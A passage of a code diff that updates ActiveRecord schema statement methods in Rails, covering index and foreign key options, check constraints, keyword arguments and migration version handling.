-      def change_column(table_name, column_name, type, options = {})
+      def change_column(table_name, column_name, type, **options)
         raise NotImplementedError, "change_column is not implemented"
       end
 
@@ -598,6 +749,15 @@ def change_column_default(table_name, column_name, default_or_changes)
         raise NotImplementedError, "change_column_default is not implemented"
       end
 
+      # Builds a ChangeColumnDefaultDefinition object.
+      #
+      # This definition object contains information about the column change that would occur
+      # if the same arguments were passed to #change_column_default. See #change_column_default for
+      # information about passing a +table_name+, +column_name+, +type+ and other options that can be passed.
+      def build_change_column_default_definition(table_name, column_name, default_or_changes) # :nodoc:
+        raise NotImplementedError, "build_change_column_default_definition is not implemented"
+      end
+
       # Sets or removes a <tt>NOT NULL</tt> constraint on a column. The +null+ flag
       # indicates whether the value can be +NULL+. For example
       #
@@ -638,7 +798,17 @@ def rename_column(table_name, column_name, new_column_name)
       #
       # generates:
       #
-      #   CREATE INDEX suppliers_name_index ON suppliers(name)
+      #   CREATE INDEX index_suppliers_on_name ON suppliers(name)
+      #
+      # ====== Creating a index which already exists
+      #
+      #   add_index(:suppliers, :name, if_not_exists: true)
+      #
+      # generates:
+      #
+      #   CREATE INDEX IF NOT EXISTS index_suppliers_on_name ON suppliers(name)
+      #
+      # Note: Not supported by MySQL.
       #
       # ====== Creating a unique index
       #
@@ -646,7 +816,7 @@ def rename_column(table_name, column_name, new_column_name)
       #
       # generates:
       #
-      #   CREATE UNIQUE INDEX accounts_branch_id_party_id_index ON accounts(branch_id, party_id)
+      #   CREATE UNIQUE INDEX index_accounts_on_branch_id_and_party_id ON accounts(branch_id, party_id)
       #
       # ====== Creating a named index
       #
@@ -672,17 +842,17 @@ def rename_column(table_name, column_name, new_column_name)
       #
       #   CREATE INDEX by_name_surname ON accounts(name(10), surname(15))
       #
-      # Note: SQLite doesn't support index length.
+      # Note: only supported by MySQL
       #
       # ====== Creating an index with a sort order (desc or asc, asc is the default)
       #
-      #   add_index(:accounts, [:branch_id, :party_id, :surname], order: {branch_id: :desc, party_id: :asc})
+      #   add_index(:accounts, [:branch_id, :party_id, :surname], name: 'by_branch_desc_party', order: {branch_id: :desc, party_id: :asc})
       #
       # generates:
       #
       #   CREATE INDEX by_branch_desc_party ON accounts(branch_id DESC, party_id ASC, surname)
       #
-      # Note: MySQL doesn't yet support index order (it accepts the syntax but ignores it).
+      # Note: MySQL only supports index order from 8.0.1 onwards (earlier versions accepted the syntax but ignored it).
       #
       # ====== Creating a partial index
       #
@@ -692,7 +862,27 @@ def rename_column(table_name, column_name, new_column_name)
       #
       #   CREATE UNIQUE INDEX index_accounts_on_branch_id_and_party_id ON accounts(branch_id, party_id) WHERE active
       #
-      # Note: Partial indexes are only supported for PostgreSQL and SQLite 3.8.0+.
+      # Note: Partial indexes are only supported for PostgreSQL and SQLite.
+      #
+      # ====== Creating an index that includes additional columns
+      #
+      #   add_index(:accounts, :branch_id,  include: :party_id)
+      #
+      # generates:
+      #
+      #   CREATE INDEX index_accounts_on_branch_id ON accounts USING btree(branch_id) INCLUDE (party_id)
+      #
+      # Note: only supported by PostgreSQL.
+      #
+      # ====== Creating an index where NULLs are treated equally
+      #
+      #   add_index(:people, :last_name, nulls_not_distinct: true)
+      #
+      # generates:
+      #
+      #   CREATE INDEX index_people_on_last_name ON people (last_name) NULLS NOT DISTINCT
+      #
+      # Note: only supported by PostgreSQL version 15.0.0 and greater.
       #
       # ====== Creating an index with a specific method
       #
@@ -705,6 +895,19 @@ def rename_column(table_name, column_name, new_column_name)
       #
       # Note: only supported by PostgreSQL and MySQL
       #
+      # ====== Creating an index with a specific operator class
+      #
+      #   add_index(:developers, :name, using: 'gist', opclass: :gist_trgm_ops)
+      #   # CREATE INDEX developers_on_name ON developers USING gist (name gist_trgm_ops) -- PostgreSQL
+      #
+      #   add_index(:developers, [:name, :city], using: 'gist', opclass: { city: :gist_trgm_ops })
+      #   # CREATE INDEX developers_on_name_and_city ON developers USING gist (name, city gist_trgm_ops) -- PostgreSQL
+      #
+      #   add_index(:developers, [:name, :city], using: 'gist', opclass: :gist_trgm_ops)
+      #   # CREATE INDEX developers_on_name_and_city ON developers USING gist (name gist_trgm_ops, city gist_trgm_ops) -- PostgreSQL
+      #
+      # Note: only supported by PostgreSQL
+      #
       # ====== Creating an index with a specific type
       #
       #   add_index(:developers, :name, type: :fulltext)
@@ -714,9 +917,46 @@ def rename_column(table_name, column_name, new_column_name)
       #   CREATE FULLTEXT INDEX index_developers_on_name ON developers (name) -- MySQL
       #
       # Note: only supported by MySQL.
-      def add_index(table_name, column_name, options = {})
-        index_name, index_type, index_columns, index_options = add_index_options(table_name, column_name, options)
-        execute "CREATE #{index_type} INDEX #{quote_column_name(index_name)} ON #{quote_table_name(table_name)} (#{index_columns})#{index_options}"
+      #
+      # ====== Creating an index with a specific algorithm
+      #
+      #  add_index(:developers, :name, algorithm: :concurrently)
+      #  # CREATE INDEX CONCURRENTLY developers_on_name on developers (name) -- PostgreSQL
+      #
+      #  add_index(:developers, :name, algorithm: :inplace)
+      #  # CREATE INDEX `index_developers_on_name` ON `developers` (`name`) ALGORITHM = INPLACE -- MySQL
+      #
+      # Note: only supported by PostgreSQL and MySQL.
+      #
+      # Concurrently adding an index is not supported in a transaction.
+      #
+      # For more information see the {"Transactional Migrations" section}[rdoc-ref:Migration].
+      #
+      # ====== Creating an index that is not used by queries
+      #
+      #   add_index(:developers, :name, enabled: false)
+      #
+      # generates:
+      #
+      #   CREATE INDEX index_developers_on_name ON developers (name) INVISIBLE -- MySQL
+      #
+      #   CREATE INDEX index_developers_on_name ON developers (name) IGNORED -- MariaDB
+      #
+      # Note: only supported by MySQL version 8.0.0 and greater, and MariaDB version 10.6.0 and greater.
+      #
+      def add_index(table_name, column_name, **options)
+        create_index = build_create_index_definition(table_name, column_name, **options)
+        execute schema_creation.accept(create_index)
+      end
+
+      # Builds a CreateIndexDefinition object.
+      #
+      # This definition object contains information about the index that would be created
+      # if the same arguments were passed to #add_index. See #add_index for information about
+      # passing a +table_name+, +column_name+, and other additional options that can be passed.
+      def build_create_index_definition(table_name, column_name, **options) # :nodoc:
+        index, algorithm, if_not_exists = add_index_options(table_name, column_name, **options)
+        CreateIndexDefinition.new(index, algorithm, if_not_exists)
       end
 
       # Removes the given index from the table.
@@ -737,8 +977,29 @@ def add_index(table_name, column_name, options = {})
       #
       #   remove_index :accounts, name: :by_branch_party
       #
-      def remove_index(table_name, options = {})
-        index_name = index_name_for_remove(table_name, options)
+      # Removes the index on +branch_id+ named +by_branch_party+ in the +accounts+ table.
+      #
+      #   remove_index :accounts, :branch_id, name: :by_branch_party
+      #
+      # Checks if the index exists before trying to remove it. Will silently ignore indexes that
+      # don't exist.
+      #
+      #   remove_index :accounts, if_exists: true
+      #
+      # Removes the index named +by_branch_party+ in the +accounts+ table +concurrently+.
+      #
+      #   remove_index :accounts, name: :by_branch_party, algorithm: :concurrently
+      #
+      # Note: only supported by PostgreSQL.
+      #
+      # Concurrently removing an index is not supported in a transaction.
+      #
+      # For more information see the {"Transactional Migrations" section}[rdoc-ref:Migration].
+      def remove_index(table_name, column_name = nil, **options)
+        return if options[:if_exists] && !index_exists?(table_name, column_name, **options)
+
+        index_name = index_name_for_remove(table_name, column_name, options)
+
         execute "DROP INDEX #{quote_column_name(index_name)} ON #{quote_table_name(table_name)}"
       end
 
@@ -749,19 +1010,25 @@ def remove_index(table_name, options = {})
       #   rename_index :people, 'index_people_on_last_name', 'index_users_on_last_name'
       #
       def rename_index(table_name, old_name, new_name)
+        old_name = old_name.to_s
+        new_name = new_name.to_s
         validate_index_length!(table_name, new_name)
 
-        # this is a naive implementation; some DBs may support this more efficiently (Postgres, for instance)
+        # this is a naive implementation; some DBs may support this more efficiently (PostgreSQL, for instance)
         old_index_def = indexes(table_name).detect { |i| i.name == old_name }
         return unless old_index_def
         add_index(table_name, old_index_def.columns, name: new_name, unique: old_index_def.unique)
         remove_index(table_name, name: old_name)
       end
 
-      def index_name(table_name, options) #:nodoc:
+      def index_name(table_name, options) # :nodoc:
         if Hash === options
           if options[:column]
-            "index_#{table_name}_on_#{Array(options[:column]) * '_and_'}"
+            if options[:_uses_legacy_index_name]
+              "index_#{table_name}_on_#{Array(options[:column]) * '_and_'}"
+            else
+              generate_index_name(table_name, options[:column])
+            end
           elsif options[:name]
             options[:name]
           else
@@ -773,45 +1040,41 @@ def index_name(table_name, options) #:nodoc:
       end
 
       # Verifies the existence of an index with a given name.
-      def index_name_exists?(table_name, index_name, default = nil)
-        unless default.nil?
-          ActiveSupport::Deprecation.warn(<<-MSG.squish)
-            Passing default to #index_name_exists? is deprecated without replacement.
-          MSG
-        end
+      def index_name_exists?(table_name, index_name)
         index_name = index_name.to_s
         indexes(table_name).detect { |i| i.name == index_name }
       end
 
-      # Adds a reference. The reference column is an integer by default,
+      # Adds a reference. The reference column is a bigint by default,
       # the <tt>:type</tt> option can be used to specify a different type.
       # Optionally adds a +_type+ column, if <tt>:polymorphic</tt> option is provided.
-      # #add_reference and #add_belongs_to are acceptable.
       #
       # The +options+ hash can include the following keys:
       # [<tt>:type</tt>]
-      #   The reference column type. Defaults to +:integer+.
+      #   The reference column type. Defaults to +:bigint+.
       # [<tt>:index</tt>]
       #   Add an appropriate index. Defaults to true.
       #   See #add_index for usage of this option.
       # [<tt>:foreign_key</tt>]
-      #   Add an appropriate foreign key constraint. Defaults to false.
+      #   Add an appropriate foreign key constraint. Defaults to false, pass true
+      #   to add. In case the join table can't be inferred from the association
+      #   pass <tt>:to_table</tt> with the appropriate table name.
       # [<tt>:polymorphic</tt>]
       #   Whether an additional +_type+ column should be added. Defaults to false.
       # [<tt>:null</tt>]
       #   Whether the column allows nulls. Defaults to true.
       #
-      # ====== Create a user_id integer column
+      # ====== Create a user_id bigint column without an index
       #
-      #   add_reference(:products, :user)
+      #   add_reference(:products, :user, index: false)
       #
       # ====== Create a user_id string column
       #
       #   add_reference(:products, :user, type: :string)
       #
-      # ====== Create supplier_id, supplier_type columns and appropriate index
+      # ====== Create supplier_id, supplier_type columns
       #
-      #   add_reference(:products, :supplier, polymorphic: true, index: true)
+      #   add_reference(:products, :supplier, polymorphic: true)
       #
       # ====== Create a supplier_id column with a unique index
       #
@@ -827,19 +1090,18 @@ def index_name_exists?(table_name, index_name, default = nil)
       #
       # ====== Create a supplier_id column and a foreign key to the firms table
       #
-      #   add_reference(:products, :supplier, foreign_key: {to_table: :firms})
+      #   add_reference(:products, :supplier, foreign_key: { to_table: :firms })
       #
       def add_reference(table_name, ref_name, **options)
-        ReferenceDefinition.new(ref_name, options).add_to(update_table_definition(table_name, self))
+        ReferenceDefinition.new(ref_name, **options).add(table_name, self)
       end
       alias :add_belongs_to :add_reference
 
       # Removes the reference(s). Also removes a +type+ column if one exists.
-      # #remove_reference and #remove_belongs_to are acceptable.
       #
       # ====== Remove the reference
       #
-      #   remove_reference(:products, :user, index: true)
+      #   remove_reference(:products, :user, index: false)
       #
       # ====== Remove polymorphic reference
       #
@@ -847,21 +1109,24 @@ def add_reference(table_name, ref_name, **options)
       #
       # ====== Remove the reference with a foreign key
       #
-      #   remove_reference(:products, :user, index: true, foreign_key: true)
+      #   remove_reference(:products, :user, foreign_key: true)
       #
       def remove_reference(table_name, ref_name, foreign_key: false, polymorphic: false, **options)
+        conditional_options = options.slice(:if_exists, :if_not_exists)
+
         if foreign_key
           reference_name = Base.pluralize_table_names ? ref_name.to_s.pluralize : ref_name
           if foreign_key.is_a?(Hash)
-            foreign_key_options = foreign_key
+            foreign_key_options = foreign_key.merge(conditional_options)
           else
-            foreign_key_options = { to_table: reference_name }
+            foreign_key_options = { to_table: reference_name, **conditional_options }
           end
+          foreign_key_options[:column] ||= "#{ref_name}_id"
           remove_foreign_key(table_name, **foreign_key_options)
         end
 
-        remove_column(table_name, "#{ref_name}_id")
-        remove_column(table_name, "#{ref_name}_type") if polymorphic
+        remove_column(table_name, "#{ref_name}_id", **conditional_options)
+        remove_column(table_name, "#{ref_name}_type", **conditional_options) if polymorphic
       end
       alias :remove_belongs_to :remove_reference
 
@@ -886,6 +1151,10 @@ def foreign_keys(table_name)
       #
       #   ALTER TABLE "articles" ADD CONSTRAINT fk_rails_e74ce85cbc FOREIGN KEY ("author_id") REFERENCES "authors" ("id")
       #
+      # ====== Creating a foreign key, ignoring method call if the foreign key exists
+      #
+      #  add_foreign_key(:articles, :authors, if_not_exists: true)
+      #
       # ====== Creating a foreign key on a specific column
       #
       #   add_foreign_key :articles, :users, column: :author_id, primary_key: "lng_id"
@@ -894,6 +1163,16 @@ def foreign_keys(table_name)
       #
       #   ALTER TABLE "articles" ADD CONSTRAINT fk_rails_58ca3d3a82 FOREIGN KEY ("author_id") REFERENCES "users" ("lng_id")
       #
+      # ====== Creating a composite foreign key
+      #
+      #   Assuming "carts" table has "(shop_id, user_id)" as a primary key.
+      #
+      #   add_foreign_key :orders, :carts, primary_key: [:shop_id, :user_id]
+      #
+      # generates:
+      #
+      #   ALTER TABLE "orders" ADD CONSTRAINT fk_rails_6f5e4cb3a4 FOREIGN KEY ("cart_shop_id", "cart_user_id") REFERENCES "carts" ("shop_id", "user_id")
+      #
       # ====== Creating a cascading foreign key
       #
       #   add_foreign_key :articles, :authors, on_delete: :cascade
@@ -904,19 +1183,31 @@ def foreign_keys(table_name)
       #
       # The +options+ hash can include the following keys:
       # [<tt>:column</tt>]
-      #   The foreign key column name on +from_table+. Defaults to <tt>to_table.singularize + "_id"</tt>
+      #   The foreign key column name on +from_table+. Defaults to <tt>to_table.singularize + "_id"</tt>.
+      #   Pass an array to create a composite foreign key.
       # [<tt>:primary_key</tt>]
       #   The primary key column name on +to_table+. Defaults to +id+.
+      #   Pass an array to create a composite foreign key.
       # [<tt>:name</tt>]
       #   The constraint name. Defaults to <tt>fk_rails_<identifier></tt>.
       # [<tt>:on_delete</tt>]
-      #   Action that happens <tt>ON DELETE</tt>. Valid values are +:nullify+, +:cascade+ and +:restrict+
+      #   Action that happens <tt>ON DELETE</tt>. Valid values are +:nullify+, +:cascade+, and +:restrict+
       # [<tt>:on_update</tt>]
-      #   Action that happens <tt>ON UPDATE</tt>. Valid values are +:nullify+, +:cascade+ and +:restrict+
-      def add_foreign_key(from_table, to_table, options = {})
-        return unless supports_foreign_keys?
+      #   Action that happens <tt>ON UPDATE</tt>. Valid values are +:nullify+, +:cascade+, and +:restrict+
+      # [<tt>:if_not_exists</tt>]
+      #   Specifies if the foreign key already exists to not try to re-add it. This will avoid
+      #   duplicate column errors.
+      # [<tt>:validate</tt>]
+      #   (PostgreSQL only) Specify whether or not the constraint should be validated. Defaults to +true+.
+      # [<tt>:deferrable</tt>]
+      #   (PostgreSQL only) Specify whether or not the foreign key should be deferrable. Valid values are booleans or
+      #   +:deferred+ or +:immediate+ to specify the default behavior. Defaults to +false+.
+      def add_foreign_key(from_table, to_table, **options)
+        return unless use_foreign_keys?
 
         options = foreign_key_options(from_table, to_table, options)
+        return if options[:if_not_exists] == true && foreign_key_exists?(from_table, to_table, **options.slice(:column, :primary_key))
+
         at = create_alter_table from_table
         at.add_foreign_key to_table, options
 
@@ -936,15 +1227,28 @@ def add_foreign_key(from_table, to_table, options = {})
       #
       #   remove_foreign_key :accounts, column: :owner_id
       #
+      # Removes the foreign key on +accounts.owner_id+.
+      #
+      #   remove_foreign_key :accounts, to_table: :owners
+      #
       # Removes the foreign key named +special_fk_name+ on the +accounts+ table.
       #
       #   remove_foreign_key :accounts, name: :special_fk_name
       #
-      # The +options+ hash accepts the same keys as SchemaStatements#add_foreign_key.
-      def remove_foreign_key(from_table, options_or_to_table = {})
-        return unless supports_foreign_keys?
+      # Checks if the foreign key exists before trying to remove it. Will silently ignore indexes that
+      # don't exist.
+      #
+      #   remove_foreign_key :accounts, :branches, if_exists: true
+      #
+      # The +options+ hash accepts the same keys as SchemaStatements#add_foreign_key
+      # with an addition of
+      # [<tt>:to_table</tt>]
+      #   The name of the table that contains the referenced primary key.
+      def remove_foreign_key(from_table, to_table = nil, **options)
+        return unless use_foreign_keys?
+        return if options.delete(:if_exists) == true && !foreign_key_exists?(from_table, to_table, **options.slice(:column))
 
-        fk_name_to_delete = foreign_key_for!(from_table, options_or_to_table).name
+        fk_name_to_delete = foreign_key_for!(from_table, to_table: to_table, **options).name
 
         at = create_alter_table from_table
         at.drop_foreign_key fk_name_to_delete
@@ -963,76 +1267,140 @@ def remove_foreign_key(from_table, options_or_to_table = {})
       #   # Checks to see if a foreign key with a custom name exists.
       #   foreign_key_exists?(:accounts, name: "special_fk_name")
       #
-      def foreign_key_exists?(from_table, options_or_to_table = {})
-        foreign_key_for(from_table, options_or_to_table).present?
+      def foreign_key_exists?(from_table, to_table = nil, **options)
+        foreign_key_for(from_table, to_table: to_table, **options).present?
       end
 
-      def foreign_key_for(from_table, options_or_to_table = {}) # :nodoc:
-        return unless supports_foreign_keys?
-        foreign_keys(from_table).detect { |fk| fk.defined_for? options_or_to_table }
+      def foreign_key_column_for(table_name, column_name) # :nodoc:
+        name = strip_table_name_prefix_and_suffix(table_name)
+        "#{name.singularize}_#{column_name}"
       end
 
-      def foreign_key_for!(from_table, options_or_to_table = {}) # :nodoc:
-        foreign_key_for(from_table, options_or_to_table) || \
-          raise(ArgumentError, "Table '#{from_table}' has no foreign key for #{options_or_to_table}")
+      def foreign_key_options(from_table, to_table, options) # :nodoc:
+        options = options.dup
+
+        if options[:primary_key].is_a?(Array)
+          options[:column] ||= options[:primary_key].map do |pk_column|
+            foreign_key_column_for(to_table, pk_column)
+          end
+        else
+          options[:column] ||= foreign_key_column_for(to_table, "id")
+        end
+
+        options[:name]   ||= foreign_key_name(from_table, options)
+
+        if options[:column].is_a?(Array) || options[:primary_key].is_a?(Array)
+          if Array(options[:primary_key]).size != Array(options[:column]).size
+            raise ArgumentError, <<~MSG.squish
+              For composite primary keys, specify :column and :primary_key, where
+              :column must reference all the :primary_key columns from #{to_table.inspect}
+            MSG
+          end
+        end
+
+        options
       end
 
-      def foreign_key_column_for(table_name) # :nodoc:
-        prefix = Base.table_name_prefix
-        suffix = Base.table_name_suffix
-        name = table_name.to_s =~ /#{prefix}(.+)#{suffix}/ ? $1 : table_name.to_s
-        "#{name.singularize}_id"
+      # Returns an array of check constraints for the given table.
+      # The check constraints are represented as CheckConstraintDefinition objects.
+      def check_constraints(table_name)
+        raise NotImplementedError
       end
 
-      def foreign_key_options(from_table, to_table, options) # :nodoc:
+      # Adds a new check constraint to the table. +expression+ is a String
+      # representation of verifiable boolean condition.
+      #
+      #   add_check_constraint :products, "price > 0", name: "price_check"
+      #
+      # generates:
+      #
+      #   ALTER TABLE "products" ADD CONSTRAINT price_check CHECK (price > 0)
+      #
+      # The +options+ hash can include the following keys:
+      # [<tt>:name</tt>]
+      #   The constraint name. Defaults to <tt>chk_rails_<identifier></tt>.
+      # [<tt>:if_not_exists</tt>]
+      #   Silently ignore if the constraint already exists, rather than raise an error.
+      # [<tt>:validate</tt>]
+      #   (PostgreSQL only) Specify whether or not the constraint should be validated. Defaults to +true+.
+      def add_check_constraint(table_name, expression, if_not_exists: false, **options)
+        return unless supports_check_constraints?
+
+        options = check_constraint_options(table_name, expression, options)
+        return if if_not_exists && check_constraint_exists?(table_name, **options)
+
+        at = create_alter_table(table_name)
+        at.add_check_constraint(expression, options)
+
+        execute schema_creation.accept(at)
+      end
+
+      def check_constraint_options(table_name, expression, options) # :nodoc:
         options = options.dup
-        options[:column] ||= foreign_key_column_for(to_table)
-        options[:name]   ||= foreign_key_name(from_table, options)
+        options[:name] ||= check_constraint_name(table_name, expression: expression, **options)
         options
       end
 
-      def dump_schema_information #:nodoc:
-        versions = ActiveRecord::SchemaMigration.order("version").pluck(:version)
-        insert_versions_sql(versions)
-      end
+      # Removes the given check constraint from the table. Removing a check constraint
+      # that does not exist will raise an error.
+      #
+      #   remove_check_constraint :products, name: "price_check"
+      #
+      # To silently ignore a non-existent check constraint rather than raise an error,
+      # use the +if_exists+ option.
+      #
+      #   remove_check_constraint :products, name: "price_check", if_exists: true
+      #
+      # The +expression+ parameter will be ignored if present. It can be helpful
+      # to provide this in a migration's +change+ method so it can be reverted.
+      # In that case, +expression+ will be used by #add_check_constraint.
+      def remove_check_constraint(table_name, expression = nil, if_exists: false, **options)
+        return unless supports_check_constraints?
 
-      def insert_versions_sql(versions) # :nodoc:
-        sm_table = quote_table_name(ActiveRecord::Migrator.schema_migrations_table_name)
+        return if if_exists && !check_constraint_exists?(table_name, **options)
 
-        if versions.is_a?(Array)
-          sql = "INSERT INTO #{sm_table} (version) VALUES\n"
-          sql << versions.map { |v| "(#{quote(v)})" }.join(",\n")
-          sql << ";\n\n"
-          sql
-        else
-          "INSERT INTO #{sm_table} (version) VALUES (#{quote(versions)});"
+        chk_name_to_delete = check_constraint_for!(table_name, expression: expression, **options).name
+
+        at = create_alter_table(table_name)
+        at.drop_check_constraint(chk_name_to_delete)
+
+        execute schema_creation.accept(at)
+      end
+
+      # Checks to see if a check constraint exists on a table for a given check constraint definition.
+      #
+      #   check_constraint_exists?(:products, name: "price_check")
+      #
+      def check_constraint_exists?(table_name, **options)
+        if !options.key?(:name) && !options.key?(:expression)
+          raise ArgumentError, "At least one of :name or :expression must be supplied"
         end
+        check_constraint_for(table_name, **options).present?
       end
 
-      def initialize_schema_migrations_table # :nodoc:
-        ActiveRecord::SchemaMigration.create_table
+      def remove_constraint(table_name, constraint_name) # :nodoc:
+        at = create_alter_table(table_name)
+        at.drop_constraint(constraint_name)
+
+        execute schema_creation.accept(at)
       end
-      deprecate :initialize_schema_migrations_table
 
-      def initialize_internal_metadata_table # :nodoc:
-        ActiveRecord::InternalMetadata.create_table
+      def dump_schema_versions # :nodoc:
+        versions = pool.schema_migration.versions
+        insert_versions_sql(versions) if versions.any?
       end
-      deprecate :initialize_internal_metadata_table
 
       def internal_string_options_for_primary_key # :nodoc:
         { primary_key: true }
       end
 
-      def assume_migrated_upto_version(version, migrations_paths)
-        migrations_paths = Array(migrations_paths)
+      def assume_migrated_upto_version(version)
         version = version.to_i
-        sm_table = quote_table_name(ActiveRecord::Migrator.schema_migrations_table_name)
+        sm_table = quote_table_name(pool.schema_migration.table_name)
 
-        migrated = select_values("SELECT version FROM #{sm_table}").map(&:to_i)
-        paths = migrations_paths.map { |p| "#{p}/[0-9]*_*.rb" }
-        versions = Dir[*paths].map do |filename|
-          filename.split("/").last.split("_").first.to_i
-        end
+        migration_context = pool.migration_context
+        migrated = migration_context.get_all_versions
+        versions = migration_context.migrations.map(&:version)
 
         unless migrated.include?(version)
           execute "INSERT INTO #{sm_table} (version) VALUES (#{quote(version)})"
@@ -1043,13 +1411,7 @@ def assume_migrated_upto_version(version, migrations_paths)
           if (duplicate = inserting.detect { |v| inserting.count(v) > 1 })
             raise "Duplicate migration #{duplicate}. Please renumber your migrations to resolve the conflict."
           end
-          if supports_multi_insert?
-            execute insert_versions_sql(inserting)
-          else
-            inserting.each do |v|
-              execute insert_versions_sql(v)
-            end
-          end
+          execute insert_versions_sql(inserting)
         end
       end
 
@@ -1071,11 +1433,11 @@ def type_to_sql(type, limit: nil, precision: nil, scale: nil, **) # :nodoc:
               raise ArgumentError, "Error adding decimal column: precision cannot be empty if scale is specified"
             end
 
-          elsif [:datetime, :time, :interval].include?(type) && precision ||= native[:precision]
+          elsif [:datetime, :timestamp, :time, :interval].include?(type) && precision ||= native[:precision]
             if (0..6) === precision
               column_type_sql << "(#{precision})"
             else
-              raise(ActiveRecordError, "No #{native[:name]} type has precision of #{precision}. The allowed range of precision is from 0 to 6")
+              raise ArgumentError, "No #{native[:name]} type has precision of #{precision}. The allowed range of precision is from 0 to 6"
             end
           elsif (type != :primary_key) && (limit ||= native.is_a?(Hash) && native[:limit])
             column_type_sql << "(#{limit})"
@@ -1097,61 +1459,92 @@ def columns_for_distinct(columns, orders) # :nodoc:
         columns
       end
 
+      def distinct_relation_for_primary_key(relation) # :nodoc:
+        primary_key_columns = Array(relation.primary_key).map do |column|
+          visitor.compile(relation.table[column])
+        end
+
+        values = columns_for_distinct(
+          primary_key_columns,
+          relation.order_values
+        )
+
+        limited = relation.reselect(values).distinct!
+        limited_ids = select_rows(limited.arel, "SQL").map do |results|
+          results.last(Array(relation.primary_key).length) # ignores order values for MySQL and PostgreSQL
+        end
+
+        if limited_ids.empty?
+          relation.none!
+        else
+          relation.where!(**Array(relation.primary_key).zip(limited_ids.transpose).to_h)
+        end
+
+        relation.limit_value = relation.offset_value = nil
+        relation
+      end
+
       # Adds timestamps (+created_at+ and +updated_at+) columns to +table_name+.
       # Additional options (like +:null+) are forwarded to #add_column.
       #
       #   add_timestamps(:suppliers, null: true)
       #
-      def add_timestamps(table_name, options = {})
-        options[:null] = false if options[:null].nil?
-
-        add_column table_name, :created_at, :datetime, options
-        add_column table_name, :updated_at, :datetime, options
+      def add_timestamps(table_name, **options)
+        fragments = add_timestamps_for_alter(table_name, **options)
+        execute "ALTER TABLE #{quote_table_name(table_name)} #{fragments.join(', ')}"
       end
 
       # Removes the timestamp columns (+created_at+ and +updated_at+) from the table definition.
       #
       #  remove_timestamps(:suppliers)
       #
-      def remove_timestamps(table_name, options = {})
-        remove_column table_name, :updated_at
-        remove_column table_name, :created_at
+      def remove_timestamps(table_name, **options)
+        remove_columns table_name, :updated_at, :created_at
       end
 
-      def update_table_definition(table_name, base) #:nodoc:
+      def update_table_definition(table_name, base) # :nodoc:
         Table.new(table_name, base)
       end
 
-      def add_index_options(table_name, column_name, comment: nil, **options) # :nodoc:
-        column_names = index_column_names(column_name)
+      def add_index_options(table_name, column_name, name: nil, if_not_exists: false, internal: false, **options) # :nodoc:
+        options.assert_valid_keys(valid_index_options)
 
-        options.assert_valid_keys(:unique, :order, :name, :where, :length, :internal, :using, :algorithm, :type)
+        column_names = index_column_names(column_name)
 
-        index_type = options[:type].to_s if options.key?(:type)
-        index_type ||= options[:unique] ? "UNIQUE" : ""
-        index_name = options[:name].to_s if options.key?(:name)
+        index_name = name&.to_s
         index_name ||= index_name(table_name, column_names)
 
-        if options.key?(:algorithm)
-          algorithm = index_algorithms.fetch(options[:algorithm]) {
-            raise ArgumentError.new("Algorithm must be one of the following: #{index_algorithms.keys.map(&:inspect).join(', ')}")
-          }
-        end
-
-        using = "USING #{options[:using]}" if options[:using].present?
-
-        if supports_partial_index?
-          index_options = options[:where] ? " WHERE #{options[:where]}" : ""
-        end
+        validate_index_length!(table_name, index_name, internal)
+
+        index = create_index_definition(
+          table_name, index_name,
+          options[:unique],
+          column_names,
+          lengths: options[:length] || {},
+          orders: options[:order] || {},
+          opclasses: options[:opclass] || {},
+          where: options[:where],
+          type: options[:type],
+          using: options[:using],
+          include: options[:include],
+          nulls_not_distinct: options[:nulls_not_distinct],
+          comment: options[:comment]
+        )
+
+        [index, index_algorithm(options[:algorithm]), if_not_exists]
+      end
 
-        validate_index_length!(table_name, index_name, options.fetch(:internal, false))
+      def index_algorithm(algorithm) # :nodoc:
+        index_algorithms.fetch(algorithm) do
+          raise ArgumentError, "Algorithm must be one of the following: #{index_algorithms.keys.map(&:inspect).join(', ')}"
+        end if algorithm
+      end
 
-        if data_source_exists?(table_name) && index_name_exists?(table_name, index_name)
-          raise ArgumentError, "Index name '#{index_name}' on table '#{table_name}' already exists"
+      def quoted_columns_for_index(column_names, options) # :nodoc:
+        quoted_columns = column_names.each_with_object({}) do |name, result|
+          result[name.to_sym] = quote_column_name(name).dup
         end
-        index_columns = quoted_columns_for_index(column_names, options).join(", ")
-
-        [index_name, index_type, index_columns, index_options, algorithm, using, comment]
+        add_options_for_index_columns(quoted_columns, **options).values.join(", ")
       end
 
       def options_include_default?(options)
@@ -1159,63 +1552,164 @@ def options_include_default?(options)
       end
 
       # Changes the comment for a table or removes it if +nil+.
-      def change_table_comment(table_name, comment)
+      #
+      # Passing a hash containing +:from+ and +:to+ will make this change
+      # reversible in migration:
+      #
+      #   change_table_comment(:posts, from: "old_comment", to: "new_comment")
+      def change_table_comment(table_name, comment_or_changes)
         raise NotImplementedError, "#{self.class} does not support changing table comments"
       end
 
       # Changes the comment for a column or removes it if +nil+.
-      def change_column_comment(table_name, column_name, comment) #:nodoc:
+      #
+      # Passing a hash containing +:from+ and +:to+ will make this change
+      # reversible in migration:
+      #
+      #   change_column_comment(:posts, :state, from: "old_comment", to: "new_comment")
+      def change_column_comment(table_name, column_name, comment_or_changes)
         raise NotImplementedError, "#{self.class} does not support changing column comments"
       end
 
+      # Enables an index to be used by queries.
+      #
+      #   enable_index(:users, :email)
+      def enable_index(table_name, index_name)
+        raise NotImplementedError, "#{self.class} does not support enabling indexes"
+      end
+
+      # Prevents an index from being used by queries.
+      #
+      #   disable_index(:users, :email)
+      def disable_index(table_name, index_name)
+        raise NotImplementedError, "#{self.class} does not support disabling indexes"
+      end
+
+      def create_schema_dumper(options) # :nodoc:
+        SchemaDumper.create(self, options)
+      end
+
+      def use_foreign_keys?
+        supports_foreign_keys? && foreign_keys_enabled?
+      end
+
+      # Returns an instance of SchemaCreation, which can be used to visit a schema definition
+      # object and return DDL.
+      def schema_creation # :nodoc:
+        SchemaCreation.new(self)
+      end
+
+      def bulk_change_table(table_name, operations) # :nodoc:
+        sql_fragments = []
+        non_combinable_operations = []
+
+        operations.each do |command, args|
+          table, arguments = args.shift, args
+          method = :"#{command}_for_alter"
+
+          if respond_to?(method, true)
+            sqls, procs = Array(send(method, table, *arguments)).partition { |v| v.is_a?(String) }
+            sql_fragments.concat(sqls)
+            non_combinable_operations.concat(procs)
+          else
+            execute "ALTER TABLE #{quote_table_name(table_name)} #{sql_fragments.join(", ")}" unless sql_fragments.empty?
+            non_combinable_operations.each(&:call)
+            sql_fragments = []
+            non_combinable_operations = []
+            send(command, table, *arguments)
+          end
+        end
+
